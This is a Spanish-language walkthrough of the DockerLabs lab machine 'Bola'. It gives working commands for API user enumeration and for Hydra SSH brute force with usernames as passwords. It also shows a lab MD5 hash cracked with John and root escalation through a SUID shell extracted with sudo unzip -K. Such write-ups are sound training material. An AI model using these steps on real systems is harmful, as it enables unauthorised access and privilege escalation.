> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/medio/bola.md).

# Bola

## Introduccion

En esta maquina de DockerLabs se compromete una API Flask/Werkzeug expuesta en el puerto `12345`. La entrada inicial pasa por enumerar usuarios desde el endpoint `/user/<id>`, construir un diccionario de nombres y probar credenciales por SSH hasta encontrar `steven:steven`.

Desde la cuenta de `steven`, el historial de Bash revela acceso a MariaDB con la misma clave. En la base de datos aparece un usuario `baluadmin` con un hash MD5, que se crackea con John para saltar a esa cuenta. La escalada final llega por una regla `sudo` sobre `/usr/bin/unzip`: se prepara una shell con bit SUID dentro de un ZIP y se extrae con `unzip -K` ejecutado como root.

***

## Reconocimiento

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/nkntgO2RzaugUhf7rBdj" alt="Escaneo Nmap de Bola"></div>

El escaneo muestra dos puertos abiertos:

| Puerto    | Servicio | Version                        |
| --------- | -------- | ------------------------------ |
| 22/tcp    | SSH      | OpenSSH 9.2p1 Debian           |
| 12345/tcp | HTTP     | Werkzeug 2.2.2 / Python 3.11.2 |

***

## Enumeracion web

Se enumeran rutas en el servicio HTTP:

```bash
gobuster dir -u http://172.17.0.2:12345 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt,bak \
  -b 404 \
  -t 60
```

<div align="center"><img src="/files/P5NyQwvs9VtitsSqcblb" alt="Gobuster contra el puerto 12345"></div>

Rutas relevantes:

```
/console
/login
/user
```

Al acceder a `/user/`, la API responde en JSON y pide un usuario valido:

<div align="center"><img src="/files/TprUzWlzBzf7EqNnSySF" alt="Respuesta JSON de user"></div>

Se continua enumerando bajo `/user`:

```bash
gobuster dir -u http://172.17.0.2:12345/user \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt,bak \
  -b 404 \
  -t 60
```

<div align="center"><img src="/files/cdSyY669nTg4sE5NMVhb" alt="Enumeracion de IDs bajo user"></div>

La API expone identificadores numericos como `/user/1`, `/user/2`, etc.

***

## Extraccion de usuarios

Se automatiza la extraccion del campo `username` para los primeros 20 IDs:

```bash
for i in $(seq 1 20); do
  curl -s "http://172.17.0.2:12345/user/$i" | jq -r '.username'
done > usernames.txt
```

<div align="center"><img src="/files/HuUNjJH0370phikrosu6" alt="Script para extraer usernames"></div>

El fichero resultante contiene usuarios validos:

<div align="center"><img src="/files/DPIOwOtey6gudnaLHm88" alt="Lista de usernames extraidos"></div>

Entre ellos:

```
alice
bob
charlie
diana
steven
tina
```

***

## Fuerza bruta SSH

Se prueba el mismo listado como usuarios y contrasenas contra SSH:

```bash
hydra -L usernames.txt -P usernames.txt -t 8 -W 1 -f ssh://172.17.0.2 -vV -I
```

<div align="center"><img src="/files/zcszJ2Ih6vRCuo99NQNg" alt="Hydra contra SSH con usernames"></div>

Hydra encuentra credenciales validas:

<div align="center"><img src="/files/CP28FEhltSGurcs61fqD" alt="Credenciales steven steven encontradas"></div>

```
steven:steven
```

Se accede por SSH como `steven` y se lista su home:

<div align="center"><img src="/files/wmAo7aAwIJa0fExxN4LI" alt="Home de steven"></div>

***

## Historial y MariaDB

El historial de Bash contiene comandos interesantes:

```bash
cat .bash_history
```

<div align="center"><img src="/files/CFTWbh0Wrr5TsAjP304t" alt="Bash history de steven"></div>

Se observa acceso a MariaDB con el usuario `steven` y la misma contrasena:

```
mysql -u steven -psteven
```

Se entra a MariaDB y se listan bases de datos:

<div align="center"><img src="/files/5T3xZiYeyfkzoNMczyeY" alt="MariaDB como steven"></div>

Aparece la base:

```
secretito
```

Dentro de `secretito` existe la tabla `usuarios`:

<div align="center"><img src="/files/7Tr2I0lRJChygAhpuLbs" alt="Tabla usuarios en secretito"></div>

La tabla contiene hashes MD5. El usuario importante es:

```
baluadmin : aa87ddc5b4c24406d26ddad771ef44b0
```

***

## Crackeo de hash

Se guarda el hash de `baluadmin` en `hash.txt` y se crackea con John:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt
```

<div align="center"><img src="/files/S8XBVeWm0wUN9KhNq8bC" alt="John crackeando hash MD5"></div>

La contrasena recuperada es:

```
estrella
```

Con esa clave se cambia al usuario `baluadmin`:

```bash
su baluadmin
```

<div align="center"><img src="/files/EFioWLomdnpxQAyLN3ll" alt="Cambio a baluadmin"></div>

***

## Permisos sudo

Se revisan privilegios con `sudo -l`:

<div align="center"><img src="/files/98LrfkS9OhZjRsnG9dfb" alt="Permisos sudo de baluadmin"></div>

El usuario puede ejecutar `unzip` como cualquier usuario sin contrasena:

```
(ALL) NOPASSWD: /usr/bin/unzip
```

***

## Escalada con unzip

La tecnica se basa en preparar una shell con SUID y empaquetarla:

```bash
cp /bin/sh .
chmod +s sh
zip shell.zip sh
```

<div align="center"><img src="/files/XpewMJn0BIBZ8ekhnBNS" alt="Preparacion de shell SUID en ZIP"></div>

Despues se extrae el ZIP con `sudo unzip -K`, preservando bits SUID/SGID:

```bash
sudo /usr/bin/unzip -K shell.zip
./sh -p
whoami
```

<div align="center"><img src="/files/ugn3CImGpAaYsHltjmD2" alt="Root mediante sudo unzip"></div>

La shell resultante es root:

```
root
```

La tecnica coincide con GTFOBins para `unzip`:

<div align="center"><img src="/files/2aukMBB3oMB4I2bTWggv" alt="GTFOBins unzip"></div>

***

## Resumen

La cadena completa queda:

1. Reconocimiento de SSH y Flask/Werkzeug.
2. Enumeracion de rutas en el puerto `12345`.
3. Enumeracion de IDs en `/user/<id>`.
4. Extraccion de usernames con `curl` y `jq`.
5. Fuerza bruta SSH con Hydra usando usuarios como passwords.
6. Acceso como `steven`.
7. Lectura de `.bash_history`.
8. Acceso a MariaDB con `steven:steven`.
9. Extraccion de hash MD5 de `baluadmin`.
10. Crackeo con John: `estrella`.
11. Movimiento lateral a `baluadmin`.
12. Escalada a root mediante `sudo unzip -K` y shell SUID.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/medio/bola.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
